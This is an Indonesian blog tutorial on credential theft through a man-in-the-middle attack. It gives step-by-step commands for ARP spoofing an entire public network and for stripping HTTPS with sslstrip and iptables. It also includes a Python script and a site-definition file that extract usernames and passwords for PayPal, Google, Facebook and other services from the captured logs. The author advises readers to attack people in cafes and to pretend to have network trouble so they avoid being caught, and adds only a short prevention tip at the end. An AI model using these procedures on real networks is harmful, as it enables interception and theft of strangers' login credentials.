dalam Artikel ini saya akan membahas tehnik dasar Man-In-The-Middle (MITM)...
tapi sebelum itu kita berkenalan dulu dengan MITM (man in the middle attack)
alat perang :
* A Linux OS (saya mengunakan backtrack 4 remix deadc0de edition)
* Arpspoof
* IPTables
* SSLStrip
* Netstat
apa kah yang di sebut man in the middle attack ??
"Dalam kriptografi, serangan man-in-the-middle ... adalah bentuk penyadapan yang aktif di mana penyerang membuat koneksi independen dengan korban dan pesan relay di antara mereka, membuat mereka percaya bahwa mereka berbicara langsung satu sama lain melalui koneksi pribadi, padahal sebenarnya seluruh percakapan dikendalikan oleh penyerang. "
Dalam istilah awam, serangan MITM tempat penyerang antara dua sasaran yang lengah, yang memungkinkan dia untuk mencegat komunikasi mereka.
selengkapnya kalian bisa mencarinya di wikipedia :))
lalu bagaimana kita melakukan serangan ini ??
ok.Ada banyak cara dalam serangan man-in-the-middle-attack,khususnya pada jaringan komputer. Hari ini kita akan fokus pada salah satu cara serangan man in the middle attack yaitu "ARP Spoofing" atau "Cache ARP Poisoning."
Untuk memahami bagaimana ini bekerja, saya akan memberikan sedikit latar belakang dari jenis searangan tersebut.
ARP Spoofing mengambil keuntungan dari kerentanan dalam Address Resolution Protocol. Protokol (ARP) pada dasarnya membantu sistem pada suatu jaringan menentukan apa IP terkait dengan apa alamat MAC.
Ketika sebuah komputer terhubung ke jaringan, itu membutuhkan informasi tertentu supaya komputer bisa terhubung online. Misalnya, perlu mengetahui IP gateway,route untuk semua traffic. Tapi mengetahui sebuah IP tidak ada gunanya kecuali jika kalian memiliki alamat MAC kalian dapat melakukan itu. Tanpa MAC, IP hanya angka, dan sistem tidak akan mengetahui interface atau sistem tak mengetahui berkomunikasi dengan siapa.
contoh, katakanlah kalian menghubungkan komputer kalian ke wifi lokal. Inilah yang terjadi:
1. Komputer kalian akan terhubung ke jaringan, maka akan meminta alamat MAC gateway default itu melalui ARP. (Hi, aku baru di sini, siapa yang memiliki tempat ini?)
2. Router akan melihat permintaan ARP, dan mengirim dengan alamat MAC. (Hei! Saya router Apapun yang anda butuhkan,.anda datang kepada saya dulu.)
3. Komputer akan menetapkan bahwa MAC ke router IP, dan akan membuatnya connect ke internet.
Masalahnya, sistem tidak hanya meminta MAC sekali - kadang-kadang kesalahan terjadi, kadang-kadang mengubah tabel routing, sehingga perlu untuk sesekali memperbarui tabel ARP untuk memastikan mereka ter up-to-date.
ARP Spoofing memungkinkan kita untuk mengambil keuntungan dari hal ini. Berikut adalah cara kerjanya:
1. Komputer Anda meminta MAC untuk gateway. (Hei, belum pernah melihat router sekitar, ada yang tahu di mana dia hanya .cuman ingin memastikan dia masih di sini.?)
2. penyerang akan masuk dan mengaku sebagai router. (Hi! Saya pemilik baru, Anda dapat berbicara dengan saya.)
3. Komputer Anda buta akan menerima klaim ini! (Oh, keren Senang bertemu Anda!)
4. Sementara itu, ketika router yang sebenarnya muncul, sistem penyerang akan berpura-pura menjadi komputer Anda. (Hei! Bagaimana kabarmu Jadi-dan-begitu meminta saya untuk menggantikannya, jadi jika Anda tidak keberatan, Anda dapat berbicara melalui aku.?)
5. Router juga akan buta menerima klaim ini. (Cool, keren. Biarkan dia tahu aku mengatakan hi!)
Pada point ini, komputer penyerang telah menipu korban .dan korban berpikir bahwa sebenarnya ini router! Jadi sekarang, ketika korban dan router memutuskan untuk berbicara, mereka akhirnya berbicara dengan Anda sebaliknya, memungkinkan Anda untuk mengetahui segala sesuatu yang mereka katakan.
jadi bagaimana saya bisa menjadi man in the middle attack ??
ok saatnya bermain .... :))
di sini kita akan mengunakan tehnik arp poisoning untuk menjadi man in the middle attack ...tetapi sebelumnya lakukan lah langkah langkah seperti berikut :))
1.Set up port-forwarding di system kita(backtrack linux).
Code:
rootdeadc0de@bt:~#echo '1' > /proc/sys/net/ipv4/ip_forward
2.menCari sistem mana di jaringan kalian adalah gateway (router misalnya)
Code:
rootdeadc0de@bt:~#netstat -nr
3.Gunakan ARP Spoof untuk menempatkan diri kalian antara router dan semua sistem lain pada jaringan.
Code:
rootdeadc0de@bt:~#arpspoof -i wlan0 192.168.1.1
1.kalian perlu untuk mengubah "wlan0" untuk referensi apa pun di perangkat yang sedang terhubung ke jaringan - biasanya eth0 atau wlan0.
2. kalian akan perlu untuk mengubah "192.168.1.1" ke IP gateway melalui dengan menghubungkan sistem kalian. (lht langkah 2.)
3. kita akan menyerang seluruh jaringan
4. CATATAN: jika signal lagi lola, menggunakan arpspoof pada seluruh jaringan dapat menyebabkan jaringan crash, membuat semua user di jaringan itu discoonet.dan biasanya si admin akan melakukan apa yang mereka bisa untuk memperbaiki masalah ini. Jika hal ini terjadi, hentikan proses arpspoof menggunakan 'ctrl-c' dan tunggu sebentar. Jaringan harus mulai bekerja kembali, setelah router menginformasikan setiap orang dengan MAC. dan Kemudian kalian dapat mulai menyerang lagi,jika kalian begitu berani. (Jika kalian khawatir tertangkap, misalnya di warkop atau tempat umum, berpura pura lah juga mengalami masalah dan sebagian besar orang akan mengabaikan kalian.)hehe ....
Setelah melaksanakan langkah langkah di atas, kalian akan mulai melihat ARP Spoof aktif rerouting semua lalu lintas melalui sistem kaloian.ok kalian sekarang telah berhasil menjadi Man in The middle attack !selamat .... lolz :P
Tapi bagaimana kita mengambil keuntungan dari posisi ini??
Nah, dari point ini, kita dapat dengan mudah menggunakan alat-alat seperti wireshark untuk mensniff semua lalu lintas jaringan tp semua terserah kalian. Atau kita dapat mengkonfigurasi ulang setup firewall kita untuk menolak akses ke IP tertentu,Atau kita bisa menggunakan alat seperti middler untuk secara aktif mengubah lalu lintas melalui jaringan!
Tapi kita tidak akan berbicara tentang tentang hal hal tersebut..
jadi pada tutorial ini.kita akan belajar bagaimana menggunakan tool yang disebut SSL strip yaitu "menculik akun login user" ...lolz :P
tapi sebelum itu kita mengenal dulu apa itu ssl strip??
Apakah SSL strip itu ?
SSL Strip adalah tools yang dicode oleh Moxie Marlinspike dan dirilis di Black Hat DC 2009. Pada dasarnya reroutes permintaan dienkripsi HTTPS dari pengguna jaringan untuk plaintext permintaan HTTP, efektif mensniff semua kredensial dan diteruskan ke jaringan melalui SSL. Cara yang dilakukannya ini memungkinkan pengguna terhubung melalui HTTP, log informasi mereka, kemudian pengalihan koneksi mereka ke server HTTPS awalnya-dimaksudkan di internet.
Ini semua berjalan degnan cepat, dan praktis tidak terlihat oleh pengguna. Satu-satunya cara yang perlu diperhatikan adalah dengan memeriksa URL di address bar: yang mana biasanya ia akan menampilkan HTTPS, sekarang akan menampilkan HTTP sebagai gantinya. (Tapi di beberapa situs, seperti Facebook, Myspace, dan banyak lainnya, URL tersebut tidak akan menampilkan HTTPS, sehingga serangan ini akan mustahil untuk mendeteksi hanya dengan mencentang URL.)
jadi bagaimana kita melakukan serangan ini ??
oke ayo kita bermain ... :))
ini langkah langkahnya :
1.hal pertama a - kita perlu menyiapkan firewall rule(melalui iptables) untuk mengarahkan permintaan dari port 80 ke port 8080 - ini akan memastikan bahwa koneksi keluar kita (dari SSL Strip) bisa diteruskan ke port yang tepat.
Code:
rootdeadc0de@bt:~#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
2.Sekarang kita punya setup firewall kita, kita perlu menjalankan instruksi Man-in-the-middle attack sebelumnya
Code:
rootdeadc0de@bt:~#echo '1' > /proc/sys/net/ipv4/ip_forward
Code:
rootdeadc0de@bt:~#arpspoof -i wlan0 192.168.1.1
Code:
rootdeadc0de@bt:~#sslstrip -k -l 8080
Sekarang kita sudah mulai serangan MITM kita dan mendapatkan Jalur SSL aktif mencegat paket, yang harus kita lakukan adalah duduk dan menunggu. SSL Strip akan berjalan selama yang kalian inginkan, dan akan mendata semua informasi yang ditangkap dalam sebuah file bernama sslstrip.log.
Jika kalian ingin melihat file ini bekerja, kalian dapat menggunakan perintah 'tail'. Ini adalah alat yang menyenangkan yang membantu kalian menonton file log karena mereka diubah secara real-time.
Code:
rootdeadc0de@bt:~#tail -f sslstrip.log
woooww ...wew kk wew ...very amazing! kita sudah mencegat banyak lalu lintas di jaringan! Sekarang apa??
Setelah kalian selesai dengan serangan kalian, gunakan kombinasi ctrl+c menghentikan proses 'tails','sslstrip,' dan 'arpspoof'. File sslstrip.log akan tetap, dan sistem akan berhenti menjadi MITM.
CATATAN: Segera setelah proses arpspoof berakhir, jaringan akan down untuk sementara. Hal ini karena arpspoof tidak secara otomatis terisi kembali dengan tabel ARP dan MAC router yang tepat, sehingga sistem yang tersisa akan down sampai router dapat memberitahukan semua orang alamatnya.Masalah ini seharusnya tidak berlangsung lama, tetapi hal itu terjadi untuk semua sistem pada jaringan - jadi yang terbaik pada moment ini untuk berpura pura(seperti kita juga mengalami kesulitan).
Setelah mematikan semua proses dan melepaskan dari jaringan,kalian dapat dengan aman pulang dan menganalisa logfile yang telah kalian buat. Hal ini mungkin terlihat seperti sekelompok teks yang sulit di pahami:
2010-06-27 20:38:24,482 SECURE POST Data (login.facebook.com):
charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&emai l=user%40email.com&pass=password&charset_test=%E2% 82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C %D0%94%2C%D0%84&lsd=H2cF2
charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&emai l=user%40email.com&pass=password&charset_test=%E2% 82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C %D0%94%2C%D0%84&lsd=H2cF2
Tetapi jika kalian melihat dari dekat,kalian akan melihat username dan password yang digunakan untuk login ke sebuah situs!
Tentu saja, itu tidak mudah di parsing melalui file besar semacam ini penuh sampah, dan sering kali kita temui situs yang kita tidak perlu melihatnya.
jadi bagaimana kita memecahkan masalah ini ????
kalian beruntung ...teman saya z3ros3c telah membuat sebuah tools dari python untuk memparse sslstrip.log...berikut codenya :
Code:
#!/usr/bin/env python ##################### # ParseLog.py # # By z3ros3c@gmail.com ##################### """tool ini ini akan memparses file sslstrip.log. untuk nama pengguna dan password (dan informasi yang menarik lainnya) yang didefinisikan dalam file log resource / definitions.sslstrip. Ini juga akan memberi kalian daftar lengkap dari semua informasi yang tidak diketahui, dengan pengecualian dari apa pun yang tercantum dalam file resource / blacklist.sslstrip. """ from urllib import unquote IPget = lambda origin: origin[origin.find('(')+1:origin.find(')')] blacklist = [] accounts = [] definitions = {} def getDefs(defs): d = {} for definition in defs: tmp = definition.split('|') a = tmp.pop(0) b = tmp.pop() if('\n' in b): b = b[:-1] tmp.append(b) d[a] = tmp[:] return d def getAllVars(line): while('&&' in line): line = line.replace('&&','&') vars = {} tmp = line.split('&') for var in tmp: try: (a,b) = var.split('=') if('$' in unquote(a)): a = unquote(a).split('$').pop() if('\n' in unquote(b)): b = unquote(b)[:-1] vars[unquote(a)] = unquote(b) except: pass return vars def process(origin,line): origin = IPget(origin) if(origin not in blacklist): vars = getAllVars(line) if(origin in definitions): definition = definitions[origin][:] name = definition.pop(0) account = "(%s) " % name for variable in definition: try: v = vars[variable] except: v = 'UNDEFINED' account += "%s = %s :: " % (variable,v) if('UNDEFINED' not in account): if(account not in accounts): accounts.append(account) account += "**NEW**" print(account) else: print("Unknown:\t%s" % origin) for var in vars: if(vars[var] != ""): print("\t%s:\t%s" % (var,vars[var])) try: lines = open('sslstrip.log','r').readlines() except: lines = [] try: blacklist = open('resources/blacklist.sslstrip','r').read().split('\n') except: print("--blacklist not defined--") try: accounts = open('accounts.txt','r').read().split('\n') except: pass try: definitions = getDefs(open('resources/definitions.sslstrip','r').readlines()) except: pass try: line = lines.pop(0) while(1): while('POST' not in line): try: line = lines.pop(0) except: break process(line,lines.pop(0)) try: line = lines.pop(0) except: break except: print("Empty logfile.") output = open('accounts.txt','w') accounts.sort() for account in accounts: if(account != ''): output.write(account + '\n')
Script ini menggunakan file definisi dan file blacklist (yang masing-masing bernama "definitions.sslstrip" dan "blacklist.sslstrip" ) untuk menyaring informasi yang kalian butuhkan.
Semua file tersebut disimpan dalam subdirektori bernama "resources".
Inilah dia yang terlihat seperti:
(resource/blacklist.sslstrip)
sup.live.com
svcs.ebay.com
toolbar.zynga.com
touch.facebook.com
urlcheck.hulu.com
uts.amazon.com
webmail.aol.com
www.adotube.com
www.facebook.com
www.overstock.com
www.slideshare.net
svcs.ebay.com
toolbar.zynga.com
touch.facebook.com
urlcheck.hulu.com
uts.amazon.com
webmail.aol.com
www.adotube.com
www.facebook.com
www.overstock.com
www.slideshare.net
(resources/definitions.sslstrip)
www.paypal.com|PayPal|login_email|login_password
login.yahoo.com|Yahoo!|login|passwd
login.facebook.com|Facebook|email|pass
en.wordpress.com|WordPress|log|pwd
www.blogger.com|Blogger|Email|Passwd
www.google.com|Google|Email|Passwd
login.yahoo.com|Yahoo!|login|passwd
login.facebook.com|Facebook|email|pass
en.wordpress.com|WordPress|log|pwd
www.blogger.com|Blogger|Email|Passwd
www.google.com|Google|Email|Passwd
Code:
URL|Name Of Site|username_variable|password_variable|other_variables
Setelah kalian mengatur file-file ini, yang harus kalian lakukan adalah meletakkan file sslstrip.log dalam direktori yang sama degan parselog.py, lalu jalankan ..
Code:
rootdeadc0de@bt:~#parselog.py | less
(Facebook) email = jimmy_xcode@email.com :: pass = fuckmeshit :: **NEW**
Semua account ditemukan akan ditambahkan ke sebuah file yang bernama 'accounts.txt'.
ok kita sudah selesai menjadi man in the middle attack dan bermain main dengan sslstrip ,dan arpspoff ....bagaimana perasaan n pendapatkan kalian ...menyenangkan :)) ...
ok ...tp Apa yang kita bisa lakukan untuk mencegah serangan ini?
tenang saya juga akan mengajarkan kalian...bagaimana pencegahan dari serangan ini :))
tidak banyak yang kalian lakukan..tapi inilah saran saya ...
Saran saya adalah: Jika kalian berada pada jaringan publik, atau wifi pribadi kalian tanpa jaminan, jangan gunakan jaringan untuk login ke salah satu rekening pribadi kalian, kecuali jika kalian punya pertahanan di tempat lain.
Salah satu trik menyenangkan adalah dengan menggunakan SSH tunneling untuk rute lalu lintas kalian. Jika kalian punya account di kotak keluar aman di internet di suatu tempat (misalnya, sistem linux-host), kalian dapat membuat SSH ke kotak masuk kalian dan rute lalu lintas melalui tunnel. Dengan begitu, tidak peduli siapa yang melisten pada koneksi kalian, lalu lintas semua dienkripsi :))
saya tak akan berbicara banyak tentang SSH tunneling di sini ..silahkan selengkapnya cari di google .... :) lolz ...soalnnya waktu udah menuhjukkan pukul 5:10 ...saya mau tidur ..kuliah shubuh..lolz :P
Nah,ok mungkin itu saja sedikit artikel saya tentang bagaimana menjadi man in the middle attack ?? atau dalam bahasa makassarnya how to become man in the middle attack ...hehehe
mohon maaf jika ad perkataan yang salah sy sendiri penulis masih newbie :))..
kita akan berjumpa di artikel berikutnya lagi ... :)) ok happy hacking ...:))
artikel n tutorial by jimmyromanticdevil
special thanks to : my angels of zia chaow , my lovely father and mother :) ,
zee_eichel ,mozart_klick,neo_darkfl00der(my best partner of coding ),jurank_dangkal,cassaprogy,andre_corleone,ch0ch0b e,nesta(slalu temanin gue di forum tiap mlm),aip,abang astro,and all deadc0de team,and all staff n member of tecon-crew ...you all my best in my life ...see you ... :)
Tidak ada komentar:
Posting Komentar